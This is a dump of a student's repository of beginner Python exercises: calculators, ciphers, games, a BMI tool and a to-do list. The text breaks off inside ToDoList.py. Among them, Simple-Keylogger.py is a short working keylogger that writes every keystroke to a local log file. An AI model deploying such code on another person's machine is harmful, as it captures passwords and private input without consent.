├── ATM.py ├── BMIcalculator.py ├── CaesarCipherEncryptDecrypt.py ├── Calculator.py ├── Health.py ├── IndexBinary.py ├── LetterCounter.py ├── LoanGUI.py ├── NumYearsDays.py ├── Number_guessing_game.py ├── OOPbasedCalculator.py ├── PalindromChecker.py ├── Payroll.py ├── PlayfairandCaesar.py ├── PointsAndDistance.py ├── README.md ├── RPS.py ├── ReverseText.py ├── Simple-Keylogger.py ├── SumOfDigits.py ├── Table.py ├── ToDoList.py ├── bank_account_management.py ├── blinking_text.py ├── calc_average_and_determine_grade.py ├── calculate_compound_interest.py ├── car_with_engine.py ├── card_hand.py ├── countWords.py ├── count_unique_characters.py ├── dictionary.py ├── dwelling_hierarchy.py ├── factorFinder.py ├── family_benefits.py ├── filehandling.py ├── find_min_max_values.py ├── generate_random_numbers_to_file.py ├── getLongestVowelSequenceFinder.py ├── getStringInfo.py ├── graphgenerator.py ├── lists.py ├── lists_Alternative_Approach.py ├── loan_calculator.py ├── matrix_operations.py ├── myPythonProject.py ├── number_comparison.py ├── person_information.py ├── point_distance.py ├── polygon_area.py ├── polygons_calculator.py ├── portscan.py ├── quadratic_equation.py ├── queueAndDequeue.py ├── quizgenerator_1.py ├── quizgenerator_2.py ├── result.txt ├── retail_system.py ├── secondgreatesnumberfinder.py ├── sets.py ├── student_solutions.txt ├── tax_calculator.py ├── tc_double_stack.py ├── triangle_geometric_object.py ├── triangle_with_error_handling.py ├── unique_numbers.py ├── validate_password_format.py ├── vehicle_management.py └── word_counter.py /ATM.py: -------------------------------------------------------------------------------- 1 | #Purva Patel #100886734 2 | balance = float(0) 3 | otherBalance = float(0) 4 | 5 | def getBalance(): 6 | return balance 7 | 8 | def getOtherbalance(): 9 | return otherBalance 10 | 11 | def printBalances(): 12 | global balance 13 | global otherBalance 14 | print(f"\tbalance: ${balance}") 15 | print(f"\totherBalance: ${otherBalance}") 16 | 17 | def deposit(money): 18 | global balance 19 | if money < 0: 20 | print("invalid input! Money enter should be greater than zero") 21 | else: 22 | balance = balance + money 23 | print("Money deposit successful!") 24 | 25 | def withdraw(money): 26 | global balance 27 | if money < 0: 28 | print("Invalid input! Money entered should be greater than Zero and less than or equal to balance") 29 | elif money > balance: 30 | print("Invalid input! Money entered should be greater than Zero and less than or equal to balance") 31 | else: 32 | balance = balance - money 33 | print("Money has been withdrawn successfully!") 34 | 35 | def transfer(money): 36 | global balance 37 | global otherBalance 38 | if money < 0: 39 | print("Invalid input! Money entered should be greater than Zero and less than or equal to balance") 40 | elif money > balance: 41 | print("Invalid input! Money entered should be greater than Zero and less than or equal to balance") 42 | else: 43 | balance = balance - money 44 | otherBalance = money + otherBalance 45 | print("Money has been transfered from balance to other balance") 46 | 47 | 48 | 49 | enterLoop = True 50 | while enterLoop == True: 51 | print("________________________________________________________________________________") 52 | print("Options are as below:") 53 | print("---->\t1. Get Balance") 54 | print("---->\t2. Get Other Balance") 55 | print("---->\t3. Print both Balances") 56 | print("---->\t4. Deposit") 57 | print("---->\t5. Withdraw") 58 | print("---->\t6. Transfer") 59 | print("---->\t7. Exit/Stop") 60 | enter = str(input("Enter an option: ")) 61 | if enter == "1": 62 | a = getBalance() 63 | print(a) 64 | elif enter == "2": 65 | b = getOtherbalance() 66 | print(b) 67 | elif enter == "3": 68 | c = printBalances() 69 | elif enter == "4": 70 | money = float(input("\tEnter any amount to deposite: $")) 71 | d = deposit(money) 72 | elif enter == "5": 73 | money = float(input("\tEnter any amount to withdraw: $")) 74 | e = withdraw(money) 75 | elif enter == "6": 76 | money = float(input("\tEnter any amount to transfer: $")) 77 | f = transfer(money) 78 | elif enter == "7": 79 | print("You exited the ATM machine!") 80 | break 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | -------------------------------------------------------------------------------- /BMIcalculator.py: -------------------------------------------------------------------------------- 1 | #Purva Patel #100886734 2 | from tkinter import * 3 | import math 4 | 5 | class BMI_Calculator: 6 | 7 | def __init__(self, xyz): 8 | self.master = xyz 9 | xyz.title("BMI Calculator") 10 | 11 | # Create a label frame for the inputs 12 | self.InputFrame = LabelFrame(xyz, text="Enter Your Details", padx=10, pady=10) 13 | self.InputFrame.grid(row=0, column=0, padx=20, pady=20, sticky="nsew") 14 | 15 | # Create the height input 16 | self.HeightLable = Label(self.InputFrame, text="Height (in \"m\"):") 17 | self.HeightLable.grid(row=0, column=0, padx=10, pady=10) 18 | self.HeightEntry = Entry(self.InputFrame, width=10) 19 | self.HeightEntry.grid(row=0, column=1, padx=10, pady=10) 20 | 21 | # Create the weight input 22 | self.WeightLable = Label(self.InputFrame, text="Weight (in \"kg\"):") 23 | self.WeightLable.grid(row=1, column=0, padx=10, pady=10) 24 | self.WeightEntry = Entry(self.InputFrame, width=10) 25 | self.WeightEntry.grid(row=1, column=1, padx=10, pady=10) 26 | 27 | # Create the calculate button 28 | self.CalcButton = Button(xyz, text="Calculate BMI", command=self.calculate_bmi_number, bg="#4CAF50", fg="red", padx=10, pady=10) 29 | self.CalcButton.grid(row=1, column=0, padx=20, pady=(0, 20)) 30 | 31 | # Create a label frame for the results 32 | self.ResultFrame = LabelFrame(xyz, text="Results", padx=10, pady=10) 33 | self.ResultFrame.grid(row=0, column=1, padx=20, pady=20, sticky="nsew") 34 | 35 | # Create the result label 36 | self.ResultLable = Label(self.ResultFrame, text="", font=("Arial", 20)) 37 | self.ResultLable.pack(padx=10, pady=10) 38 | 39 | # Create the BMI status label 40 | self.BMIlable = Label(self.ResultFrame, text="", font=("Arial", 16)) 41 | self.BMIlable.pack(padx=10, pady=10) 42 | 43 | def calculate_bmi_number(self): 44 | try: 45 | height = float(self.HeightEntry.get()) 46 | weight = float(self.WeightEntry.get()) 47 | BMI = weight / math.pow(height, 2) 48 | self.ResultLable.config(text="{:.2f}".format(BMI)) 49 | self.display_bmi_status(BMI) 50 | except ValueError: 51 | self.ResultLable.config(text="Enter valid height and weight!") 52 | 53 | def display_bmi_status(self, bmiValue): 54 | if bmiValue < 18.5: 55 | status = "Underweight" 56 | elif 18.5 <= bmiValue < 24.9: 57 | status = "Healthy Weight" 58 | else: 59 | status = "Overweight" 60 | self.BMIlable.config(text=status) 61 | 62 | tkinterLib = Tk() 63 | bmi_calc = BMI_Calculator(tkinterLib) 64 | tkinterLib.mainloop() 65 | -------------------------------------------------------------------------------- /CaesarCipherEncryptDecrypt.py: -------------------------------------------------------------------------------- 1 | #Assignment-2 #Question-4 2 | 3 | class CaesarCipher: 4 | def __init__(self, shift): 5 | # Initialize the CaesarCipher object with a given shift value 6 | self.shift = shift 7 | 8 | def transform(self, text, direction): 9 | # Transform the given text by shifting each alphabetic character by the shift value 10 | transformedText = "" 11 | for char in text: 12 | if char.isalpha(): 13 | # Check if the character is alphabetic 14 | # Convert the character to lowercase, calculate the shifted character's ASCII value, 15 | # and convert it back to a character 16 | shiftedChar = chr((ord(char.lower()) - 97 + direction * self.shift) % 26 + 97) 17 | if char.isupper(): 18 | # If the original character was uppercase, convert the shifted character to uppercase as well 19 | shiftedChar = shiftedChar.upper() 20 | transformedText += shiftedChar 21 | else: 22 | # If the character is not alphabetic, leave it unchanged 23 | transformedText += char 24 | return transformedText 25 | 26 | def encrypt(self, plaintext): 27 | # Encrypt the plaintext by applying the transform method with a direction of 1 (forward shift) 28 | return self.transform(plaintext, 1) 29 | 30 | def decrypt(self, ciphertext): 31 | # Decrypt the ciphertext by applying the transform method with a direction of -1 (backward shift) 32 | return self.transform(ciphertext, -1) 33 | 34 | 35 | while True: 36 | # Create a CaesarCipher object with a shift value of 3 37 | cipher = CaesarCipher(3) 38 | # Prompt the user to enter a string 39 | plaintext = input("Enter a string: ") 40 | # Encrypt the plaintext using the CaesarCipher object 41 | ciphertext = cipher.encrypt(plaintext) 42 | # Print the encrypted text 43 | print(f"The encrypted text is: {ciphertext}") 44 | # Decrypt the ciphertext using the same CaesarCipher object 45 | decrypted_plaintext = cipher.decrypt(ciphertext) 46 | # Print the decrypted text 47 | print(f"The decrypted text is: {decrypted_plaintext}") 48 | 49 | -------------------------------------------------------------------------------- /Calculator.py: -------------------------------------------------------------------------------- 1 | # Purva Patel #100886734 2 | a = True 3 | print("Welcome to the calculator!") 4 | while a == True: 5 | e = input("Select operations to perform (add(+), subtract(-), multiply(*), divide(/),exponential(**)) or exit/stop(exit): ").lower() 6 | if e == "+": 7 | num1 = input("Enter the first number: ") 8 | if num1 == "exit": 9 | print("You exited the program.") 10 | break 11 | elif not num1: 12 | num1 == "" 13 | num2 = input("Enter the second number: ") 14 | c = float(num2) + float(c) 15 | print(c) 16 | else: 17 | num2 = input("Enter second number: ") 18 | if num2 == "exit": 19 | print("You exited the program.") 20 | break 21 | elif not num2: 22 | num2 == "" 23 | c = float(num1) + float(c) 24 | print(c) 25 | else: 26 | c = float(num1) + float(num2) 27 | print(c) 28 | 29 | b = input("would you like to continue the program (Y/N)): ").lower() 30 | if b == "n": 31 | print("You exited the program.") 32 | break 33 | c = c 34 | 35 | 36 | 37 | elif e == "-": 38 | num1 = input("Enter the first number: ") 39 | if num1 == "exit": 40 | print("You exited the program.") 41 | break 42 | elif not num1: 43 | num1 == "" 44 | num2 = input("Enter the second number: ") 45 | c = float(num2) - float(c) 46 | print(c) 47 | else: 48 | num2 = input("Enter the second number: ") 49 | if num2 == "exit": 50 | print("You exited the program.") 51 | break 52 | elif not num2: 53 | num2 == "" 54 | c = float(num1) - float(c) 55 | print(c) 56 | else: 57 | c = float(num1) - float(num2) 58 | print(c) 59 | 60 | b = input("would you like to continue the program (Y/N)): ").lower() 61 | if b == "n": 62 | print("You exited the program.") 63 | break 64 | c = c 65 | 66 | 67 | 68 | elif e == "/": 69 | num1 = input("Enter the first number: ") 70 | if num1 == "exit": 71 | print("You exited the program.") 72 | break 73 | elif not num1: 74 | num1 == "" 75 | num2 = input("Enter the second number: ") 76 | c = float(num2) / float(c) 77 | print(c) 78 | else: 79 | num2 = input("Enter the second number: ") 80 | if num2 == "exit": 81 | print("You exited the program.") 82 | break 83 | elif not num2: 84 | num2 == "" 85 | c = float(num1) / float(c) 86 | print(c) 87 | else: 88 | c = float(num1) / float(num2) 89 | print(c) 90 | 91 | b = input("Do you want to continue(Y/N)): ").lower() 92 | if b == "n": 93 | print("You exited the program.") 94 | break 95 | c = c 96 | 97 | 98 | 99 | elif e == "*": 100 | num1 = input("Enter the first number: ") 101 | if num1 == "exit": 102 | print("You exited the program.") 103 | break 104 | elif not num1: 105 | num1 == "" 106 | num2 = input("Enter the second number: ") 107 | c = float(num2) * float(c) 108 | print(c) 109 | else: 110 | num2 = input("Enter the second number: ") 111 | if num2 == "exit": 112 | print("You exited the program.") 113 | break 114 | elif not num2: 115 | num2 == "" 116 | c = float(num1) * float(c) 117 | print(c) 118 | else: 119 | c = float(num1) * float(num2) 120 | print(c) 121 | 122 | b = input("would you like to continue the program (Y/N)): ").lower() 123 | if b == "n": 124 | print("You exited the program.") 125 | break 126 | c = c 127 | 128 | 129 | 130 | elif e == "**": 131 | num1 = input("Enter base: ") 132 | if num1 == "exit": 133 | print("You exited the program.") 134 | break 135 | elif not num1: 136 | num1 == "" 137 | num2 = input("Enter power: ") 138 | d = 1 139 | for i in range(int(num2)): 140 | d = d*int(c) 141 | print(d) 142 | else: 143 | num2 = input("Enter power: ") 144 | if num2 == "exit": 145 | print("You exited the program.") 146 | break 147 | elif not num2: 148 | num2 == "" 149 | d = 1 150 | for i in range(int(c)): 151 | d = d*int(c) 152 | print(d) 153 | else: 154 | d = 1 155 | for i in range(int(num2)): 156 | d = d*int(num1) 157 | print(d) 158 | 159 | b = input("would you like to continue the program (Y/N)): ").lower() 160 | if b == "n": 161 | print("You exited the program.") 162 | break 163 | c = d 164 | 165 | 166 | 167 | elif e == "exit": 168 | print("You exited the program.") 169 | break 170 | 171 | 172 | 173 | 174 | 175 | 176 | 177 | 178 | 179 | 180 | 181 | 182 | -------------------------------------------------------------------------------- /Health.py: -------------------------------------------------------------------------------- 1 | a = int(input("Enter the weight in pounds: ")) 2 | b = int(input("Enter the height in inches: ")) 3 | d = (a/(b*b))*703.069 # 0.453592/0.0254/0.0254 = 703.069 4 | print(f"The BMI is: {d}") 5 | -------------------------------------------------------------------------------- /IndexBinary.py: -------------------------------------------------------------------------------- 1 | def index_bits(binary_string): 2 | # Check if the input is a valid binary string 3 | if not set(binary_string).issubset({'0', '1'}): 4 | return "Invalid input. Please enter a binary string." 5 | 6 | # Create a list of tuples with each bit and its index 7 | indexed_bits = [(bit, idx + 1) for idx, bit in enumerate(binary_string)] 8 | return indexed_bits 9 | 10 | # Example usage 11 | binary_input = input("Enter a binary string: ") 12 | result = index_bits(binary_input) 13 | 14 | print(result) 15 | -------------------------------------------------------------------------------- /LetterCounter.py: -------------------------------------------------------------------------------- 1 | #Purva Patel #100886734 2 | from collections import Counter 3 | import string 4 | 5 | # Defining a class to count the occurrence of words in a file 6 | class WordCounter: 7 | # Initializing the class with the file name 8 | def __init__(self, file): 9 | self.file = file 10 | self.words_dict = self.get_words_dict() 11 | 12 | # Defining a function to get a dictionary with word counts 13 | def get_words_dict(self): 14 | # Opening the file and reading its contents 15 | with open(self.file) as f: 16 | Words = f.read().split() 17 | # Removing punctuation from each word 18 | Words = [w.strip(string.punctuation) for w in Words] 19 | # Counting the occurrence of each word using Counter 20 | words_dict = Counter(Words) 21 | return words_dict 22 | 23 | # Defining a function to print the top 10 words 24 | def top_10_words(self): 25 | # Using most_common() function of Counter to get top 10 words 26 | topletters = self.words_dict.most_common(10) 27 | for x, word in enumerate(topletters): 28 | print(f"{x}: ('{word[0]}', {word[1]})") 29 | 30 | 31 | # Defining the main function to execute the code 32 | def main(): 33 | # Creating an instance of WordCounter class with the file name 34 | countLetters = WordCounter('text.txt') 35 | # Calling top_10_words() function to print top 10 words 36 | countLetters.top_10_words() 37 | 38 | 39 | # Checking if the code is being run as the main program 40 | if __name__ == '__main__': 41 | # Calling the main function to execute the code 42 | main() -------------------------------------------------------------------------------- /LoanGUI.py: -------------------------------------------------------------------------------- 1 | import tkinter as tk 2 | def calculate_loan(): 3 | interestRate = float(interestRateEntry.get()) / 100 4 | numYears = int(numYearEntry.get()) 5 | loanAmount = float(loan_amount_entry.get()) 6 | numPayements = numYears * 12 7 | monthlyInterestRate = interestRate / 12 8 | monthlyPayments = (monthlyInterestRate * loanAmount) / (1 - (1 + monthlyInterestRate) ** -numPayements) 9 | totalPayments = monthlyPayments * numPayements 10 | monthlyPaymentLables.config(text = f'Monthly payment: ${monthlyPayments:.2f}') 11 | total_payment_label.config(text = f'Total payment: ${totalPayments:.2f}') 12 | 13 | window = tk.Tk() 14 | window.title('Loan Payment Calculator') 15 | interest_rate_label = tk.Label(window, text = 'Annual Interest Rate (%):') 16 | num_years_label = tk.Label(window, text = 'Number of Years:') 17 | loanAmountLables = tk.Label(window, text = 'Loan Amount ($):') 18 | monthlyPaymentLables = tk.Label(window, text = '') 19 | total_payment_label = tk.Label(window, text = '') 20 | interestRateEntry = tk.Entry(window) 21 | numYearEntry = tk.Entry(window) 22 | loan_amount_entry = tk.Entry(window) 23 | calculateButton = tk.Button(window, text = 'Calculate', command = calculate_loan) 24 | interest_rate_label.grid(row = 0, column = 0, padx = 5, pady = 5, sticky = 'w') 25 | num_years_label.grid(row = 1, column = 0, padx = 5, pady = 5, sticky = 'w') 26 | loanAmountLables.grid(row = 2, column = 0, padx = 5, pady = 5, sticky = 'w') 27 | interestRateEntry.grid(row = 0, column = 1, padx = 5, pady = 5) 28 | numYearEntry.grid(row = 1, column = 1, padx = 5, pady = 5) 29 | loan_amount_entry.grid(row = 2, column = 1, padx = 5, pady = 5) 30 | calculateButton.grid(row = 3, column = 0, columnspan = 2, padx = 5, pady = 5) 31 | monthlyPaymentLables.grid(row = 4, column = 0, columnspan = 2, padx = 5, pady = 5) 32 | total_payment_label.grid(row = 5, column = 0, columnspan = 2, padx = 5, pady = 5) 33 | window.mainloop() 34 | 35 | 36 | -------------------------------------------------------------------------------- /NumYearsDays.py: -------------------------------------------------------------------------------- 1 | a = int(input("Enter the number of minutes: ")) 2 | b = a//525600 3 | c = a//1440 4 | e = c%365 5 | print(f"{a} minutes is approximately {b} Years and {e} Days") 6 | 7 | 8 | -------------------------------------------------------------------------------- /Number_guessing_game.py: -------------------------------------------------------------------------------- 1 | #Purva Patel # 100886734 # Question 7 2 | import random 3 | comp = random.randint(0,100) 4 | b = True 5 | print("Computer has guessed the number....It's your turn!") 6 | while b == True: 7 | a = int(input("Guess the number: ")) 8 | if a > comp: 9 | print("The guess is too high, try again!") 10 | elif a < comp: 11 | print("It is too low, try again!") 12 | elif a == comp: 13 | print("Congrats! your guess is correct.") 14 | comp = random.randint(0,100) 15 | continue -------------------------------------------------------------------------------- /OOPbasedCalculator.py: -------------------------------------------------------------------------------- 1 | #Purva Patel #100886734 2 | class BasicCalculator: 3 | def add(self , a , b): 4 | return a + b 5 | 6 | def subtract(self , a , b): 7 | return a - b 8 | 9 | def multiply(self , a , b): 10 | return a * b 11 | 12 | def divide(self , a , b): 13 | if b == 0: 14 | raise ValueError("Input cannot be zero.") 15 | return a / b 16 | 17 | 18 | class AdvancedCalculator(BasicCalculator): 19 | def add(self , a , b): 20 | try: 21 | result = super().add(a , b) 22 | except TypeError: 23 | raise ValueError("Invalid input! Please enter a valid input.") 24 | return result 25 | 26 | def subtract(self , a , b): 27 | try: 28 | result = super().subtract(a , b) 29 | except TypeError: 30 | raise ValueError("Invalid input! Please enter a valid input.") 31 | return result 32 | 33 | def multiply(self, a , b): 34 | try: 35 | result = super().multiply(a , b) 36 | except TypeError: 37 | raise ValueError("Invalid input! Please enter a valid input.") 38 | return result 39 | 40 | def divide(self , a , b): 41 | try: 42 | result = super().divide(a , b) 43 | except (TypeError, ZeroDivisionError): 44 | raise ValueError("Invalid input or division by zero") 45 | return result 46 | 47 | 48 | def main(): 49 | calculator = AdvancedCalculator() 50 | opListHistory = [] 51 | 52 | while True: 53 | try: 54 | Input = input("What operation would you like to perform (addition,subtraction,multiplication,division): ") 55 | if Input.lower() in ["addition" , "add" , "+"]: 56 | a = float(input("Enter your first number: ")) 57 | b = float(input("Enter your second number: ")) 58 | answer = calculator.add(a, b) 59 | print(f"{a} + {b} = {answer}") 60 | opListHistory.append(f"{a} + {b} = {answer}") 61 | print("###################################################################################") 62 | 63 | elif Input.lower() in ["subtraction" , "-", "sub"]: 64 | a = float(input("Enter your first number: ")) 65 | b = float(input("Enter your second number: ")) 66 | answer = calculator.subtract(a, b) 67 | print(f"{a} - {b} = {answer}") 68 | opListHistory.append(f"{a} - {b} = {answer}") 69 | print("###################################################################################") 70 | 71 | elif Input.lower() in ["multiplication" , "*" , "multi"]: 72 | a = float(input("Enter your first number: ")) 73 | b = float(input("Enter your second number: ")) 74 | answer = calculator.multiply(a, b) 75 | print(f"{a} * {b} = {answer}") 76 | opListHistory.append(f"{a} * {b} = {answer}") 77 | print("###################################################################################") 78 | 79 | elif Input.lower() in ["division", "/" , "div"]: 80 | a = float(input("Enter your first number: ")) 81 | b = float(input("Enter your second number: ")) 82 | answer = calculator.divide(a, b) 83 | print(f"{a} / {b} = {answer}") 84 | opListHistory.append(f"{a} / {b} = {answer}") 85 | print("###################################################################################") 86 | 87 | elif Input.lower() == "exit" or Input.lower() == "quit": 88 | print("###################################################################################") 89 | break 90 | 91 | else: 92 | print("Invalid operation") 93 | except ValueError as e: 94 | print(e) 95 | 96 | print("Operations performed(history):") 97 | for op in opListHistory: 98 | print(op) 99 | 100 | if __name__ == "__main__": 101 | main() 102 | 103 | -------------------------------------------------------------------------------- /PalindromChecker.py: -------------------------------------------------------------------------------- 1 | #Assignment-2 #Question-2 2 | 3 | 4 | def PalindromChecker(s): 5 | # Reverse the string using slicing and assign it to the reversedWord variable 6 | reversed_Word = s[::-1] 7 | # Check if the reversed word is equal to the original word 8 | if reversed_Word == s: 9 | # If they are equal, the word is a palindrome, so return True 10 | return True 11 | else: 12 | # If they are not equal, the word is not a palindrome, so return False 13 | return False 14 | 15 | 16 | # Loop indefinitely 17 | while True: 18 | # Prompt the user to enter a string to check if it is a palindrome 19 | EnterHere = str(input("Enter the string to check if it is a palindrome: ")) 20 | # Call the PalindromChecker function to check if the entered word is a palindrome 21 | output = PalindromChecker(EnterHere) 22 | # Check the output of the function 23 | if output == True: 24 | # If the output is True, print that the word is a palindrome 25 | print("The given word is a Palindrome") 26 | else: 27 | # If the output is False, print that the word is not a palindrome 28 | print("The given word is NOT a palindrome") 29 | 30 | -------------------------------------------------------------------------------- /Payroll.py: -------------------------------------------------------------------------------- 1 | a = str(input("Enter employee's name: ")) 2 | b = int(input("Enter number of hours worked in a week: ")) 3 | c = float(input("Enter hourly pay rate: ")) 4 | d = float(input("Enter fedral tax witholding rate: ")) 5 | e = float(input("Enter state tax witholding rate: ")) 6 | f = b*c 7 | g = f*d 8 | h = f*e 9 | i = g + h 10 | print(f"Employee name: {a}") 11 | print(f"Hours worked: {b}") 12 | print(f"Pay rate: ${c}") 13 | print(f"Gross pay: ${f}") 14 | print("Deductions: ") 15 | print(f"\tFedral witholding({d*100}%): ${g}") 16 | print(f"\tState witholding({e*100}%): ${h}") 17 | print(f"\tTotal deduction: ${i}") 18 | print(f"Net Pay: ${f - i}") 19 | 20 | -------------------------------------------------------------------------------- /PlayfairandCaesar.py: -------------------------------------------------------------------------------- 1 | class PlayfairCipher: 2 | def __init__(self, key): 3 | self.key = key.lower().replace("j", "i") 4 | self.matrix = self.generate_matrix() 5 | 6 | def generate_matrix(self): 7 | alphabet = 'abcdefghiklmnopqrstuvwxyz0123456789!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~' 8 | keyChars = set(self.key) 9 | matrix = [] 10 | for alpha in self.key + alphabet: 11 | if alpha not in keyChars: 12 | keyChars.add(alpha) 13 | matrix.append(alpha) 14 | if len(matrix) == 25: 15 | break 16 | matrix = [matrix[i:i+5] for i in range(0, 25, 5)] 17 | return matrix 18 | 19 | def find_char(self, alpha): 20 | for i, row in enumerate(self.matrix): 21 | if alpha in row: 22 | j = row.index(alpha) 23 | return (i, j) 24 | return None 25 | 26 | def encrypt(self, plaintext): 27 | plaintext = plaintext.lower().replace('j', 'i').replace(' ', '') 28 | plaintext = "".join(filter(str.isalnum, plaintext)) 29 | if len(plaintext) % 2 == 1: 30 | plaintext += 'x' 31 | ciphertext = "" 32 | for i in range(0, len(plaintext), 2): 33 | a, b = plaintext[i:i+2] 34 | pos_a = self.find_char(a) 35 | pos_b = self.find_char(b) 36 | if not pos_a or not pos_b: 37 | ciphertext += a + b 38 | continue 39 | r1, c1 = pos_a 40 | r2, c2 = pos_b 41 | if r1 == r2: 42 | ciphertext += self.matrix[r1][(c1+1)%5] + self.matrix[r2][(c2+1)%5] 43 | elif c1 == c2: 44 | ciphertext += self.matrix[(r1+1)%5][c1] + self.matrix[(r2+1)%5][c2] 45 | else: 46 | ciphertext += self.matrix[r1][c2] + self.matrix[r2][c1] 47 | return ciphertext 48 | 49 | def decrypt(self, ciphertext): 50 | ciphertext = "".join(filter(str.isalnum, ciphertext)) 51 | plaintext = "" 52 | for i in range(0, len(ciphertext), 2): 53 | a, b = ciphertext[i:i+2] 54 | pos_a = self.find_char(a) 55 | pos_b = self.find_char(b) 56 | if not pos_a or not pos_b: 57 | plaintext += a + b 58 | continue 59 | r1, c1 = pos_a 60 | r2, c2 = pos_b 61 | if r1 == r2: 62 | plaintext += self.matrix[r1][(c1-1)%5] + self.matrix[r2][(c2-1)%5] 63 | elif c1 == c2: 64 | plaintext += self.matrix[(r1-1)%5][c1] + self.matrix[(r2-1)%5][c2] 65 | else: 66 | plaintext += self.matrix[r1][c2] + self.matrix[r2][c1] 67 | plaintext = plaintext.replace('x', '') 68 | return plaintext 69 | 70 | class CaesarCipher: 71 | def __init__(self, shift): 72 | self.shift = shift 73 | 74 | def transform(self, text, direction): 75 | transformed_text = "" 76 | for char in text: 77 | if char.isalpha(): 78 | shifted_char = chr((ord(char.lower()) - 97 + direction*self.shift) % 26 + 97) 79 | if char.isupper(): 80 | shifted_char = shifted_char.upper() 81 | transformed_text += shifted_char 82 | else: 83 | transformed_text += char 84 | return transformed_text 85 | 86 | def encrypt(self, plaintext): 87 | return self.transform(plaintext, 1) 88 | 89 | def decrypt(self, ciphertext): 90 | return self.transform(ciphertext, -1) 91 | 92 | 93 | 94 | ############################################################################################################################ 95 | cipher = PlayfairCipher('keyword') 96 | plaintext = 'hey there it is working 123' 97 | ciphertext = cipher.encrypt(plaintext) 98 | print(ciphertext) 99 | ############################################## 100 | decrypted_text = cipher.decrypt(ciphertext) 101 | print(decrypted_text) 102 | ############################################################################################################################ 103 | ############################################################################################################################ 104 | ############################################################################################################################ 105 | cipher = CaesarCipher(3) 106 | plaintext = "HelloWorld" 107 | ciphertext = cipher.encrypt(plaintext) 108 | print(ciphertext) 109 | ############################################## 110 | decrypted_plaintext = cipher.decrypt(ciphertext) 111 | print(decrypted_plaintext) 112 | ############################################################################################################################ 113 | 114 | 115 | 116 | 117 | ''' 118 | Key: "gatmdzitpaurwx" 119 | grid: 120 | g a t m d 121 | z i p u r 122 | w x b c e 123 | f h k l n 124 | o q s v y 125 | ''' -------------------------------------------------------------------------------- /PointsAndDistance.py: -------------------------------------------------------------------------------- 1 | class Point: 2 | def __init__(self, x1, x2): 3 | self.x1 = x1 4 | self.x2 = x2 5 | 6 | def show(self): 7 | print(f"({self.x1},{self.x2})") 8 | 9 | def move(self,a,b): 10 | self.x1 = self.x1 + a 11 | self.x2 = self.x2 + b 12 | 13 | def dist(self,x0): 14 | return ((self.x1 - x0.x1)**2 + (self.x2 - x0.x2)**2)**0.5 15 | 16 | 17 | p1 = Point(2,3) 18 | p2 = Point(3,3) 19 | p1.show() 20 | p2.show() 21 | p1.move(10,-10) 22 | p1.show() 23 | p2.show() 24 | print(p1.dist(p2)) -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Hello there, 2 | 3 | These are few of my python codes. Feel free to review and use them for your own understanding of the language. 4 | 5 | Thank you 6 | -------------------------------------------------------------------------------- /RPS.py: -------------------------------------------------------------------------------- 1 | #Purva Patel #100886734 2 | import random 3 | 4 | def bot(comp,player): 5 | if comp == "r": 6 | if player == "p": 7 | print("\tPlayer wins.") 8 | elif player == "s": 9 | print("\tcomp wins.") 10 | elif player == "p": 11 | print("\tTie.") 12 | elif comp == "p": 13 | if player == "r": 14 | print("\tcomputer wins.") 15 | elif player == "s": 16 | print("\tplayer wins.") 17 | elif player == "p": 18 | print("\tTie.") 19 | elif comp == "s": 20 | if player == "r": 21 | print("\tPlayer wins.") 22 | elif player == "p": 23 | print("\tcomp wins.") 24 | elif player == "p": 25 | print("\tTie.") 26 | 27 | 28 | a = True 29 | while a == True: 30 | comp = random.randint(0,2) 31 | if comp == 0: 32 | comp = "r" 33 | elif comp == 1: 34 | comp = "p" 35 | elif comp == 2: 36 | comp = "s" 37 | player = input("enter any thing you want to choose: ") 38 | if player == "exit": 39 | print("you exited the game.") 40 | break 41 | else: 42 | print(f"\tcomp choose: {comp}") 43 | print(f"\tyou choose: {player}") 44 | bot(comp,player) 45 | 46 | 47 | 48 | -------------------------------------------------------------------------------- /ReverseText.py: -------------------------------------------------------------------------------- 1 | #Assignment-2 #Question-1 2 | 3 | def ReverseText(s): # Function definition to reverse a string 4 | if len(s) <= 1: # Check if the length of the string is 1 or less than 1 5 | return s # Return the string as it is 6 | else: 7 | return ReverseText(s[1:]) + s[0] # Recursively call the function on the all characters except the first one and append the first character at the end 8 | 9 | 10 | 11 | a = 0 #Counter (used for to keep the number of times the loop will run to take the input from the user) 12 | while True: #Starts loop 13 | EnterHere = str(input(f"{a+1}).Enter a string that you want to reverse: ")) #Takes input from the user 14 | Output = ReverseText(EnterHere) #Function called 15 | print(Output) #Printing the output 16 | -------------------------------------------------------------------------------- /Simple-Keylogger.py: -------------------------------------------------------------------------------- 1 | from pynput.keyboard import Key, Listener 2 | import logging 3 | 4 | log_dir = "" 5 | 6 | logging.basicConfig(filename=(log_dir + "keylogs.txt"), \ 7 | level=logging.DEBUG, format='%(asctime)s: %(message)s') 8 | 9 | def on_press(key): 10 | logging.info(str(key)) 11 | 12 | with Listener(on_press=on_press) as listener: 13 | listener.join() 14 | -------------------------------------------------------------------------------- /SumOfDigits.py: -------------------------------------------------------------------------------- 1 | a = int(input("Enter any number between 0 and 1000: ")) 2 | e = a%10 3 | b = (a//10)%10 4 | c = a//100 5 | d = a//1000 6 | f = e + b + c + d 7 | print(f"The sum of the digit is {f}") -------------------------------------------------------------------------------- /Table.py: -------------------------------------------------------------------------------- 1 | def grade(score) : 2 | if score >= 90 : 3 | return "A" 4 | elif score >= 80 : 5 | return "B" 6 | elif score >= 70 : 7 | return "C" 8 | elif score >= 60 : 9 | return "D" 10 | grade(100) 11 | 12 | 13 | 14 | 15 | 16 | -------------------------------------------------------------------------------- /ToDoList.py: -------------------------------------------------------------------------------- 1 | #Purva Patel #100886734 2 | from datetime import datetime 3 | def addNewItems(): 4 | global ToDoList 5 | taskName = input("Enter the name of the task: ") 6 | if checkItemExists(taskName): 7 | print("Task already exist! Select the options again.") 8 | else: 9 | TaskDate = input("Enter the Date and time in yyyy/mm/dd HH:MM:SS format: ") 10 | CurrentDate = datetime.now() 11 | StrpTime1 = datetime.strptime(TaskDate , "%Y/%m/%d %H:%M:%S") 12 | if CurrentDate > StrpTime1: 13 | print("Time entered is in the past! Select the options again") 14 | else: 15 | x = (StrpTime1 , taskName) 16 | ToDoList.append(x) 17 | print("Task added successfully!") 18 | ToDoList.sort(reverse= False, key= takeSecond) 19 | 20 | 21 | def checkItemExists(taskName): 22 | global ToDoList 23 | tempList = 